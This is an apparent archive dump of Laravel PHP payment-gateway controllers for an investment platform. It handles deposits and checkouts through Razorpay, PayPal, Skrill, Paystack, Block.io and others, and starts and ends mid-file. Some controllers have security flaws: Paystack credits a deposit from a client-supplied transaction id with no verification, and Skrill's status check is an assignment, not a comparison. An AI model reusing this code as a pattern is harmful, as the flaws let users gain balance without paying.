$request->m_curr, $request->m_desc, $request->m_status, $this->paydata['secret_key'] )))); if ($request->m_sign != $sign_hash) { return redirect()->route('api.user.invest.checkout',$invest->id)->with('unsuccess','digital signature not matched!'); } else { $invest = Invest::where('transaction_no', $request->m_orderid)->first(); if ($request->m_amount == round($invest->amount,2) && $request->m_status == 'success' && $invest->status == 0) { $addionalData = ['status'=>'running','method'=>$method]; $this->orderRepositorty->apiOrder($request,$invest,$addionalData); return redirect()->route('api.user.invest.checkout',$invest->id)->with('message','Invest successfully complete.'); } else { return redirect()->route('api.user.invest.checkout',$invest->id)->with('unsuccess','transaction was unsuccessful!'); } } } else { return redirect()->route('api.user.invest.checkout',$invest->id)->with('unsuccess','transaction was unsuccessful!'); } } } Controllers/Api/Checkout/InstamojoController.php 0000644 00000006726 15111246741 0016065 0 ustar 00 <?php namespace App\Http\Controllers\Api\Checkout; use Illuminate\Support\Facades\Session; use App\Repositories\OrderRepository; use App\Http\Controllers\Controller; use App\Models\Generalsetting; use App\Models\PaymentGateway; use Illuminate\Http\Request; use Illuminate\Support\Str; use App\Classes\Instamojo; use App\Models\Currency; use App\Models\Invest; use App\Models\User; class InstamojoController extends Controller { public $orderRepositorty; public function __construct(OrderRepository $orderRepositorty) { $this->orderRepositorty = $orderRepositorty; } public function store(Request $request) { $data = PaymentGateway::whereKeyword('instamojo')->first(); $invest = Invest::findOrFail($request->invest_id); $user = User::findOrFail($invest->user_id); $gs = Generalsetting::first(); $total = $request->amount; $paydata = $data->convertAutoData(); if($request->currency_code != "INR") { return redirect()->back()->with('unsuccess',__('Please Select INR Currency For This Payment.')); } $order['item_name'] = $gs->title." Order"; $order['item_number'] = $invest->transaction_no; $order['item_amount'] = $total; $cancel_url = route('api.checkout.instamojo.cancel'); $notify_url = route('api.checkout.instamojo.notify'); if($paydata['sandbox_check'] == 1){ $api = new Instamojo($paydata['key'], $paydata['token'], 'https://test.instamojo.com/api/1.1/'); } else { $api = new Instamojo($paydata['key'], $paydata['token']); } try { $response = $api->paymentRequestCreate(array( "purpose" => $order['item_name'], "amount" => $order['item_amount'], "send_email" => true, "email" => $user->email, "redirect_url" => $notify_url )); $redirect_url = $response['longurl']; Session::put('method',$request->method); Session::put('invest_id',$request->invest_id); Session::put('order_data',$order); Session::put('order_payment_id', $response['id']); return redirect($redirect_url); } catch (Exception $e) { return redirect($cancel_url)->with('unsuccess','Error: ' . $e->getMessage()); } } public function notify(Request $request) { $input_data = $request->all(); $payment_id = Session::get('order_payment_id'); $method = Session::get('method'); $invest_id = Session::get('invest_id'); $invest = Invest::findOrFail($invest_id); if($input_data['payment_status'] == 'Failed'){ return redirect()->route('api.user.invest.checkout',$invest->id)->with('error','Something went wrong!'); } if ($input_data['payment_request_id'] == $payment_id) { $addionalData = ['txnid' => $payment_id, 'status'=>'running','method'=>$method]; $this->orderRepositorty->apiOrder($request,$invest,$addionalData); return redirect()->route('api.user.invest.checkout',$invest->id)->with('message','Invest successfully complete.'); } return redirect()->route('api.user.invest.checkout',$invest->id)->with('warning','Something went wrong!'); } public function cancel(){ return redirect()->route('user.invest.checkout')->with('warning','Something went wrong!'); } } Controllers/Api/Deposit/RazorpayController.php 0000644 00000015364 15111246741 0015571 0 ustar 00 <?php namespace App\Http\Controllers\Api\Deposit; use App\Classes\GeniusMailer; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Deposit; use App\Models\Generalsetting; use App\Models\PaymentGateway; use App\Models\Transaction; use App\Models\User; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Session; use Illuminate\Support\Str; use Razorpay\Api\Api; class RazorpayController extends Controller { public function __construct() { $data = PaymentGateway::whereKeyword('razorpay')->first(); $paydata = $data->convertAutoData(); $this->keyId = $paydata['key']; $this->keySecret = $paydata['secret']; $this->displayCurrency = 'INR'; $this->api = new Api($this->keyId, $this->keySecret); } public function store(Request $request) { if($request->currency_code != "INR") { return redirect()->back()->with('warning','Please Select INR Currency For Rezorpay.'); } $gs = Generalsetting::findOrFail(1); $deposit = Deposit::findOrFail($request->deposit_id); $input = $request->all(); $item_name = $gs->title." Deposit"; $item_number = $deposit->deposit_number; $item_amount = $request->amount; $order['item_name'] = $item_name; $order['item_number'] = $item_number; $order['item_amount'] = round($item_amount,2); $cancel_url = route('api.deposit.razorpay.cancel'); $notify_url = route('api.deposit.razorpay.notify'); $orderData = [ 'receipt' => $order['item_number'], 'amount' => $order['item_amount'] * 100, // 2000 rupees in paise 'currency' => 'INR', 'payment_capture' => 1 // auto capture ]; $razorpayOrder = $this->api->order->create($orderData); // $input['user_id'] = auth()->user()->id; Session::put('input_data',$input); Session::put('order_data',$order); Session::put('order_payment_id', $razorpayOrder['id']); $displayAmount = $amount = $orderData['amount']; if ($this->displayCurrency !== 'INR') { $url = "https://api.fixer.io/latest?symbols=$this->displayCurrency&base=INR"; $exchange = json_decode(file_get_contents($url), true); $displayAmount = $exchange['rates'][$this->displayCurrency] * $amount / 100; } $checkout = 'automatic'; if (isset($_GET['checkout']) and in_array($_GET['checkout'], ['automatic', 'manual'], true)) { $checkout = $_GET['checkout']; } $data = [ "key" => $this->keyId, "amount" => $amount, "name" => $order['item_name'], "description" => $order['item_name'], "prefill" => [ "name" => $request->customer_name, "email" => $request->customer_email, "contact" => $request->customer_phone, ], "notes" => [ "address" => $request->customer_address, "merchant_order_id" => $order['item_number'], ], "theme" => [ "color" => "{{$gs->colors}}" ], "order_id" => $razorpayOrder['id'], ]; if ($this->displayCurrency !== 'INR') { $data['display_currency'] = $this->displayCurrency; $data['display_amount'] = $displayAmount; } $json = json_encode($data); $displayCurrency = $this->displayCurrency; Session::put('method',$request->method); Session::put('deposit_id',$request->deposit_id); return view( 'frontend.razorpay-checkout', compact( 'data','displayCurrency','json','notify_url' ) ); } public function notify(Request $request) { $input = Session::get('input_data'); $order_data = Session::get('order_data'); $input_data = $request->all(); $payment_id = Session::get('order_payment_id'); $method = Session::get('method'); $deposit_id = Session::get('deposit_id'); $deposit = Deposit::findOrFail($deposit_id); $success = true; if (empty($input_data['razorpay_payment_id']) === false) { try { $attributes = array( 'razorpay_order_id' => $payment_id, 'razorpay_payment_id' => $input_data['razorpay_payment_id'], 'razorpay_signature' => $input_data['razorpay_signature'] ); $this->api->utility->verifyPaymentSignature($attributes); } catch(SignatureVerificationError $e) { $success = false; } } if ($success === true){ $deposit['method'] = $method; $deposit['txnid'] = $payment_id; $deposit['status'] = "complete"; $deposit->update(); $gs = Generalsetting::findOrFail(1); $user = User::findOrFail($deposit->user_id); $user->balance += $deposit->amount; $user->save(); $trans = new Transaction(); $trans->email = $user->email; $trans->amount = $deposit->amount; $trans->type = "Deposit"; $trans->profit = "plus"; $trans->txnid = $deposit->deposit_number; $trans->user_id = $user->id; $trans->save(); if($gs->is_smtp == 1) { $data = [ 'to' => $user->email, 'type' => "Deposit", 'cname' => $user->name, 'oamount' => $input['amount'], 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $user->email; $subject = " You have deposited successfully."; $msg = "Hello ".$user->name."!\nYou have invested successfully.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('success','Deposit amount '.$input['amount'].' ('.$input['currency_code'].') successfully!'); } return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('warning','Something Went wrong!'); } } Controllers/Api/Deposit/BlockIoController.php 0000644 00000012757 15111246741 0015307 0 ustar 00 <?php namespace App\Http\Controllers\Api\Deposit; use App\Classes\BlockIO; use App\Classes\GeniusMailer; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Deposit; use App\Models\Generalsetting; use App\Models\PaymentGateway; use App\Models\Transaction; use App\Models\User; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Str; class BlockIoController extends Controller { public function blockioInvest() { return view('user.deposit.blockio'); } public function blockiocallback(Request $request) { $notifyID = $request['notification_id']; $amountRec = $request['data']['amount_received']; $deposit = Deposit::where('notify_id',$notifyID)->where('status','pending')->first(); if ($deposit != NULL){ $data['txnid'] = $request['data']['txid']; $data['status'] = "complete"; $deposit->update($data); $user = auth()->user(); $gs = Generalsetting::findOrFail(1); if($gs->is_smtp == 1) { $data = [ 'to' => $user->email, 'type' => "Deposit", 'cname' => $user->name, 'oamount' => $deposit->amount, 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $user->email; $subject = " You have deposited successfully."; $msg = "Hello ".$user->name."!\nYou have invested successfully.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } $user->balance += $deposit->amount; $user->save(); $trans = new Transaction(); $trans->email = $user->email; $trans->amount = $deposit->amount; $trans->type = "Deposit"; $trans->profit = "plus"; $trans->txnid = $deposit->deposit_number; $trans->user_id = $user->id; $trans->save(); dd('SUCCESS'); } } function curlGetCall($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HTTPGET, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $data = curl_exec ($ch); curl_close ($ch); return $data; } public function deposit(Request $request) { $deposit = Deposit::findOrFail($request->deposit_id); if($request->amount > 0){ $methods = $request->method; $version = 2; $coin = "BTC"; $my_api_key = ''; if($methods == "block.io.ltc"){ $blockinfo = PaymentGateway::whereKeyword('block.io.ltc')->first(); $blocksettings= $blockinfo->convertAutoData(); $coin = "Litecoin"; $my_api_key = $blocksettings['blockio_api_ltc']; }elseif($methods == "block.io.btc"){ $blockinfo = PaymentGateway::whereKeyword('block.io.btc')->first(); $blocksettings= $blockinfo->convertAutoData(); $coin = "Bitcoin"; $my_api_key = $blocksettings['blockio_api_btc']; }elseif ($methods == "block.io.dgc"){ $coin = "Dogecoin"; $blockinfo = PaymentGateway::whereKeyword('block.io.dgc')->first(); $blocksettings= $blockinfo->convertAutoData(); $my_api_key = $blocksettings['blockio_api_dgc']; } $acc = Auth::user()->id; $item_number = Str::random(4).time();; $item_amount = $request->amount; $currency_code = $request->currency_code; $secret = $blocksettings['secret_string']; $my_callback_url = route('deposit.blockio.notify'); $block_io = new BlockIO($my_api_key, $secret, $version); $biorate = 1; $coin_amount = round($item_amount / $biorate, 8); $root_url = 'https://block.io/api/v2/'; $addObject = $block_io->get_new_address(array()); $address = $addObject->data->address; $notifyObject = $block_io->create_notification(array('type' => 'address', 'address' => $address, 'url' => $my_callback_url)); $notifyID = $notifyObject->data->notification_id; $currency = Currency::where('id',$request->currency_id)->first(); $amountToAdd = $request->amount/$currency->value; $deposit->method = $request->method; $deposit->coin_amount = $coin_amount; $deposit->notify_id = $notifyID; $deposit->update(); $qrcode_url = "https://chart.googleapis.com/chart?chs=250x250&cht=qr&chl=bitcoin:".$address."?amount=".$coin_amount."&choe=UTF-8"; return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('success',['address' => $address,'qrcode_url' => $qrcode_url,]); } return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('error','Please enter a valid amount.')->withInput(); } } Controllers/Api/Deposit/ManualController.php 0000644 00000016715 15111246741 0015200 0 ustar 00 <?php namespace App\Http\Controllers\Api\Deposit; use App\Classes\GeniusMailer; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Deposit; use Illuminate\Support\Str; use Illuminate\Http\Request; use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; use App\Models\Generalsetting; use App\Models\User; class ManualController extends Controller { public function store(Request $request){ $deposit = Deposit::findOrFail($request->deposit_id); $deposit->method = $request->method; $deposit->txnid = $request->txn_id4; $deposit->status = 'pending'; $deposit->update(); $gs = Generalsetting::findOrFail(1); $user = User::findOrFail($deposit->user_id); $to = $user->email; $subject = 'Deposit Form Received – Pending Confirmation'; //$msg = "Dear Customer,<br> Your deposit in process."; $msg = '<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Deposit Form Received – Pending Confirmation</title> <style> body { margin: 0; padding: 0; font-family: "Arial", sans-serif; background-color: #f7f7f7; } .email-wrapper { width: 100%; background-color: #f7f7f7; padding: 20px 0; } .email-content { width: 100%; max-width: 600px; background-color: #ffffff; border-radius: 8px; margin: 0 auto; box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); } .email-header { background-color: #003366; padding: 20px; text-align: center; border-radius: 8px 8px 0 0; } .email-header img { max-width: 200px; } .email-header span { font-size: 18px; font-weight: 600; color: #00BFFF; display: block; margin-top: 10px; } .email-body { padding: 16px 30px; font-size: 16px; line-height: 1.5; color: #333; } .email-body h3 { color: #003366; margin-bottom: 15px; } .email-body p { margin-bottom: 20px; } .email-button { display: inline-block; background-color: #003366; color: #ffffff !important; padding: 6px 12px; font-size: 16px; border-radius: 5px; text-decoration: none; } .email-footer { background-color: #1f1f1f; color: #ffffff; text-align: center; padding: 12px; border-radius: 0 0 8px 8px; font-size: 14px; } .email-footer a { color: #00BFFF; text-decoration: none; } </style> </head> <body> <div class="email-wrapper"> <div class="email-content"> <div class="email-header"> <img src="https://fluxeassets.com/imgx/etemp.png" alt="Fluxe Assets Logo"> <span>Guiding You Toward Financial Growth</span> </div> <div class="email-body"> <p>Dear <strong>'.$user->name.'</strong>,</p> <p>Thank you for submitting your deposit form to <strong>Fluxe Assets</strong>.</p> <p>We have received your form and are currently awaiting confirmation of the actual deposit. Once verified, the funds will be held in your Fluxe Assets account until you select an investment PLAN.</p> <p>If you have already made the deposit, please allow some time for processing. For any questions or assistance, feel free to <a href="https://fluxeassets.com/contact" style="color: #0073e6; text-decoration: none;" target="_blank">contact us</a>.</p> <p style="margin-top: 30px;">Best regards,<br>The Fluxe Assets Team</p> </div> <div class="email-footer"> <p>Copyright © 2025 <a href="https://fluxeassets.com">Fluxe Assets</a>. All rights reserved.</p> </div> </div> </div> </body> </html>'; if($gs->is_smtp == 1) { /* $data = [ 'to' => $user->email, 'type' => "Depositk", 'cname' => $user->name, 'oamount' => $deposit->amount, 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendPhpMailer($data); */ $mail = new PHPMailer(true); try { // SMTP settings $mail->isSMTP(); $mail->Host = $gs->smtp_host; $mail->SMTPAuth = true; $mail->Username = $gs->smtp_user; $mail->Password = $gs->smtp_pass; $mail->SMTPSecure = $gs->smtp_encryption; // 'tls' or 'ssl' $mail->Port = $gs->smtp_port; $mail->CharSet = 'UTF-8'; // Recipients $mail->setFrom($gs->from_email, $gs->from_name); $mail->addAddress($user->email, $user->name); // Content $mail->isHTML(true); $mail->Subject = $subject; $mail->Body = $msg; $mail->send(); } catch (Exception $e) { return response()->json('Email could not be sent. Error: ' . $mail->ErrorInfo); } } else { $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('success','Deposit amount '.$request->amount.' ('.$request->currency_code.') successfully!'); } } Controllers/Api/Deposit/MollieController.php 0000644 00000010345 15111246742 0015176 0 ustar 00 <?php namespace App\Http\Controllers\Api\Deposit; use App\Classes\GeniusMailer; use App\Http\Controllers\Controller; use App\Models\Currency; use Mollie\Laravel\Facades\Mollie; use App\Models\Generalsetting; use Illuminate\Http\Request; use App\Models\Deposit; use App\Models\Transaction; use Carbon\Carbon; use Session; use Auth; use Str; class MollieController extends Controller { public function store(Request $request){ $support = [ 'AED', 'AUD', 'BGN', 'BRL', 'CAD', 'CHF', 'CZK', 'DKK', 'EUR', 'GBP', 'HKD', 'HRK', 'HUF', 'ILS', 'ISK', 'JPY', 'MXN', 'MYR', 'NOK', 'NZD', 'PHP', 'PLN', 'RON', 'RUB', 'SEK', 'SGD', 'THB', 'TWD', 'USD', 'ZAR' ]; if(!in_array($request->currency_code,$support)){ return redirect()->back()->with('warning','Please Select USD Or EUR Currency For Paypal.'); } $deposit = Deposit::findOrFail($request->deposit_id); $input = $request->all(); $item_amount = $request->amount; $item_name = "Deposit via Molly Payment"; $payment = Mollie::api()->payments()->create([ 'amount' => [ 'currency' => 'USD', 'value' => ''.sprintf('%0.2f', $item_amount).'', ], 'description' => $item_name , 'redirectUrl' => route('api.deposit.molly.notify'), ]); Session::put('method',$request->method); Session::put('deposit_id',$request->deposit_id); Session::put('payment_id',$payment->id); $payment = Mollie::api()->payments()->get($payment->id); return redirect($payment->getCheckoutUrl(), 303); } public function notify(Request $request){ $method = Session::get('method'); $deposit_id = Session::get('deposit_id'); $deposit = Deposit::findOrFail($deposit_id); $user = User::findOrFail($deposit->user_id); $payment = Mollie::api()->payments()->get(Session::get('payment_id')); if($payment->status == 'paid'){ $deposit['method'] = $method; $deposit['status'] = "complete"; $deposit['txnid'] = $payment->id; $deposit->save(); $user->balance += $deposit->amount; $user->save(); $trans = new Transaction(); $trans->email = $user->email; $trans->amount = $deposit->amount; $trans->type = "Deposit"; $trans->profit = "plus"; $trans->txnid = $deposit->deposit_number; $trans->user_id = $user->id; $trans->save(); $gs = Generalsetting::findOrFail(1); if($gs->is_smtp == 1) { $data = [ 'to' => $user->email, 'type' => "Deposit", 'cname' => $user->name, 'oamount' => $deposit->amount, 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $user->email; $subject = " You have deposited successfully."; $msg = "Hello ".$user->name."!\nYou have invested successfully.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } Session::forget('method'); Session::forget('deposit_id'); return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('success','Deposit amount successfully!'); } else { return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('warning','Something Went wrong!'); } return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('warning','Something Went wrong!'); } } Controllers/Api/Deposit/PaypalController.php 0000644 00000014662 15111246742 0015211 0 ustar 00 <?php namespace App\Http\Controllers\Api\Deposit; use App\Http\Controllers\Controller; use Carbon\Carbon; use Illuminate\Support\Str; use Illuminate\Http\Request; use App\Classes\GeniusMailer; use App\Models\Currency; use App\Models\Deposit; use App\Models\Generalsetting; use App\Models\PaymentGateway; use App\Models\Transaction as AppTransaction; use Illuminate\Foundation\Auth\User; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Session; use Illuminate\Support\Facades\Redirect; use PayPal\{ Api\Item, Api\Payer, Api\Amount, Api\Payment, Api\ItemList, Rest\ApiContext, Api\Transaction, Api\RedirectUrls, Api\PaymentExecution, Auth\OAuthTokenCredential }; class PaypalController extends Controller { private $_api_context; public function __construct() { $data = PaymentGateway::whereKeyword('paypal')->first(); $paydata = $data->convertAutoData(); $paypal_conf = \Config::get('paypal'); $paypal_conf['client_id'] = $paydata['client_id']; $paypal_conf['secret'] = $paydata['client_secret']; $paypal_conf['settings']['mode'] = $paydata['sandbox_check'] == 1 ? 'sandbox' : 'live'; $this->_api_context = new ApiContext(new OAuthTokenCredential( $paypal_conf['client_id'], $paypal_conf['secret']) ); $this->_api_context->setConfig($paypal_conf['settings']); } public function store(Request $request){ $settings = Generalsetting::findOrFail(1); $deposit = Deposit::findOrFail($request->deposit_id); $cancel_url = route('api.deposit.paypal.cancel'); $notify_url = route('api.deposit.paypal.notify'); $item_name = $settings->title." Deposit"; $item_number = Str::random(12); $item_amount = $request->amount; $support = ['USD','EUR']; if(!in_array($request->currency_code,$support)){ return redirect()->back()->with('warning','Please Select USD Or EUR Currency For Paypal.'); } $payer = new Payer(); $payer->setPaymentMethod('paypal'); $item_1 = new Item(); $item_1->setName($item_name) ->setCurrency('USD') ->setQuantity(1) ->setPrice($item_amount); $item_list = new ItemList(); $item_list->setItems(array($item_1)); $amount = new Amount(); $amount->setCurrency('USD') ->setTotal($item_amount); $transaction = new Transaction(); $transaction->setAmount($amount) ->setItemList($item_list) ->setDescription($item_name.' Via Paypal'); $redirect_urls = new RedirectUrls(); $redirect_urls->setReturnUrl($notify_url) ->setCancelUrl($cancel_url); $payment = new Payment(); $payment->setIntent('Sale') ->setPayer($payer) ->setRedirectUrls($redirect_urls) ->setTransactions(array($transaction)); try { $payment->create($this->_api_context); } catch (\PayPal\Exception\PPConnectionException $ex) { return redirect()->back()->with('unsuccess',$ex->getMessage()); } foreach ($payment->getLinks() as $link) { if ($link->getRel() == 'approval_url') { $redirect_url = $link->getHref(); break; } } Session::put('method',$request->method); Session::put('deposit_id',$request->deposit_id); Session::put('paypal_payment_id', $payment->getId()); if (isset($redirect_url)) { return Redirect::away($redirect_url); } return redirect()->back()->with('unsuccess','Unknown error occurred'); if (isset($redirect_url)) { return Redirect::away($redirect_url); } return redirect()->back()->with('unsuccess','Unknown error occurred'); } public function notify(Request $request) { $payment_id = Session::get('paypal_payment_id'); if (empty( $request['PayerID']) || empty( $request['token'])) { return redirect()->back()->with('error', 'Payment Failed'); } $payment = Payment::get($payment_id, $this->_api_context); $execution = new PaymentExecution(); $execution->setPayerId($request['PayerID']); $method = Session::get('method'); $deposit_id = Session::get('deposit_id'); $result = $payment->execute($execution, $this->_api_context); if ($result->getState() == 'approved') { $resp = json_decode($payment, true); $deposit = Deposit::findOrFail($deposit_id); $data['txnid'] = $resp['transactions'][0]['related_resources'][0]['sale']['id']; $data['method'] = $method; $data['status'] = "complete"; $deposit->update($data); $gs = Generalsetting::findOrFail(1); $user =User::findOrFail($deposit->user_id); if($gs->is_smtp == 1) { $data = [ 'to' => $user->email, 'type' => "Deposit", 'cname' => $user->name, 'oamount' => $deposit->amount, 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $user->email; $subject = " You have deposited successfully."; $msg = "Hello ".$user->name."!\nYou have invested successfully.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } $user->balance += $deposit->amount; $user->save(); $trans = new AppTransaction(); $trans->email = $user->email; $trans->amount = $deposit->amount; $trans->type = "Deposit"; $trans->profit = "plus"; $trans->txnid = $deposit->deposit_number; $trans->user_id = $user->id; $trans->save(); Session::forget('deposit_id'); Session::forget('method'); Session::forget('paypal_payment_id'); return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('success','Deposit amount '.$deposit->amount.' (USD) successfully!'); } } } Controllers/Api/Deposit/AuthorizeController.php 0000644 00000013665 15111246742 0015737 0 ustar 00 <?php namespace App\Http\Controllers\Api\Deposit; use App\Http\Controllers\Controller; use App\Classes\GeniusMailer; use App\Models\Deposit; use App\Models\Generalsetting; use App\Models\PaymentGateway; use App\Models\Transaction; use App\Models\User; use Illuminate\Http\Request; use Carbon\Carbon; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Str; use net\authorize\api\contract\v1 as AnetAPI; use net\authorize\api\controller as AnetController; class AuthorizeController extends Controller { public function store(Request $request){ $deposit = Deposit::findOrFail($request->deposit_id); $gs = Generalsetting::findOrFail(1); $authorizeinfo = PaymentGateway::whereKeyword('authorize.net')->first(); $authorizesettings= $authorizeinfo->convertAutoData(); $item_name = $gs->title." Deposit"; $item_number = $deposit->deposit_number; $item_amount = $request->amount; $validator = Validator::make($request->all(),[ 'cardNumber' => 'required', 'cardCVC' => 'required', 'month' => 'required', 'year' => 'required', ]); if ($validator->passes()) { $merchantAuthentication = new AnetAPI\MerchantAuthenticationType(); $merchantAuthentication->setName($authorizesettings['login_id']); $merchantAuthentication->setTransactionKey($authorizesettings['txn_key']); $refId = 'ref' . time(); $creditCard = new AnetAPI\CreditCardType(); $creditCard->setCardNumber(str_replace(' ','',$request->cardNumber)); $year = $request->year; $month = $request->month; $creditCard->setExpirationDate($year.'-'.$month); $creditCard->setCardCode($request->cardCVC); $paymentOne = new AnetAPI\PaymentType(); $paymentOne->setCreditCard($creditCard); $orderr = new AnetAPI\OrderType(); $orderr->setInvoiceNumber($item_number); $orderr->setDescription($item_name); $transactionRequestType = new AnetAPI\TransactionRequestType(); $transactionRequestType->setTransactionType("authCaptureTransaction"); $transactionRequestType->setAmount($item_amount); $transactionRequestType->setOrder($orderr); $transactionRequestType->setPayment($paymentOne); $requestt = new AnetAPI\CreateTransactionRequest(); $requestt->setMerchantAuthentication($merchantAuthentication); $requestt->setRefId($refId); $requestt->setTransactionRequest($transactionRequestType); $controller = new AnetController\CreateTransactionController($requestt); if($authorizesettings['sandbox_check'] == 1){ $response = $controller->executeWithApiResponse(\net\authorize\api\constants\ANetEnvironment::SANDBOX); } else { $response = $controller->executeWithApiResponse(\net\authorize\api\constants\ANetEnvironment::PRODUCTION); } if ($response != null) { if ($response->getMessages()->getResultCode() == "Ok") { $tresponse = $response->getTransactionResponse(); if ($tresponse != null && $tresponse->getMessages() != null) { $deposit->method = $request->method; $deposit['status'] = "complete"; $deposit->update(); $user = User::findOrFail($deposit->user_id); $user->balance += $request->amount; $user->save(); $trans = new Transaction(); $trans->email = $user->email; $trans->amount = $request->amount; $trans->type = "Deposit"; $trans->profit = "plus"; $trans->txnid = $deposit->deposit_number; $trans->user_id = $user->id; $trans->save(); if($gs->is_smtp == 1) { $data = [ 'to' => $user->email, 'type' => "Deposit", 'cname' => $user->name, 'oamount' => $item_amount, 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $user->email; $subject = " You have deposited successfully."; $msg = "Hello ".$user->name."!\nYou have invested successfully.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('success','Deposit amount '.$request->amount.' ('.$request->currency_code.') successfully!'); } else { return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('unsuccess', 'Payment Failed.'); } } else { return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('unsuccess', 'Payment Failed.'); } } else { return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('unsuccess', 'Payment Failed.'); } } return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('unsuccess', 'Invalid Payment Details.'); } } Controllers/Api/Deposit/SkrillController.php 0000644 00000005431 15111246742 0015215 0 ustar 00 <?php namespace App\Http\Controllers\Api\Deposit; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Deposit; use App\Models\Generalsetting; use App\Models\PaymentGateway; use App\Repositories\DepositRepository; use Illuminate\Http\Request; use Illuminate\Support\Facades\Session; use Illuminate\Support\Str; class SkrillController extends Controller { public $orderRepositorty; public $allusers = []; public function __construct(DepositRepository $orderRepositorty) { $this->orderRepositorty = $orderRepositorty; $this->payment = PaymentGateway::whereKeyword('skrill')->first(); $this->paydata = $this->payment->convertAutoData(); } public function store(Request $request){ $deposit = Deposit::findOrFail($request->deposit_id); $gs = Generalsetting::findOrFail(1); $deposit_number = $deposit->deposit_number; Session::put('method',$request->method); Session::put('deposit_id',$request->deposit_id); $info['pay_to_email'] = trim($this->paydata['email']); $info['transaction_id'] = $deposit_number; $info['status_url'] = route('deposit.skrill.notify'); $info['language'] = 'EN'; $info['amount'] = round($deposit->amount,2); $info['currency'] = $request->currency_code; $info['detail1_description'] = $gs->title; $info['detail1_text'] = "Pay To ".$gs->title; $data['info'] = $info; $data['method'] = "POST"; $data['url'] = "https://pay.skrill.com"; return view('payment.redirect',compact('data')); } public function notify(Request $request){ $method = Session::get('method'); $deposit_id = Session::get('deposit_id'); $deposit = Deposit::findOrFail($deposit_id); $user = User::findOrFail($deposit->user_id); $concatFields = $request->merchant_id . $request->transaction_id . strtoupper(md5(trim($this->paydata['secret']))) . $request->mb_amount . $request->mb_currency . $request->status; if (strtoupper(md5($concatFields)) == $request->md5sig && $request->pay_to_email == trim($this->paydata['email']) && $deposit->status = 'pending') { $deposit->status = "complete"; $deposit->save(); $user->balance += $deposit->amount; $user->save(); $this->orderRepositorty->callAfterOrder($request,$deposit); return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('message','Deposit successfully complete.'); }else{ return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('unsuccess','Something went wrong!'); } } } Controllers/Api/Deposit/PaystackController.php 0000644 00000003345 15111246742 0015536 0 ustar 00 <?php namespace App\Http\Controllers\Api\Deposit; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Deposit; use App\Models\Generalsetting; use App\Models\User; use Illuminate\Http\Request; use Illuminate\Support\Str; class PaystackController extends Controller { public function store(Request $request){ $gs = Generalsetting::findOrFail(1); if($request->currency_code != "NGN") { return redirect()->back()->with('unsuccess','Please Select NGN Currency For Paystack.'); } $deposit = Deposit::findOrFail($request->deposit_id); $deposit->method = $request->method; $deposit->txnid = $request->paystack_txn; $deposit['status'] = "complete"; $deposit->update(); $user = User::findOrFail($deposit->user_id); $user->income += $deposit->amount; $user->save(); if($gs->is_smtp == 1) { $data = [ 'to' => $user->email, 'type' => "Deposit", 'cname' => $user->name, 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $user->email; $subject = " You have deposited successfully."; $msg = "Hello ".$user->name."!\nYou have invested successfully.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } return redirect()->route('api.user.deposit.confirm',$deposit->id)->with('success','Deposit amount ('.$request->amount.') successfully!'); } } Controllers/Api/Deposit/StripeController.php 0000644 00000012007 15111246742 0015220 0 ustar 00 <?php namespace App\Http\Controllers\Api\Deposit; use App\Classes\GeniusMailer; use 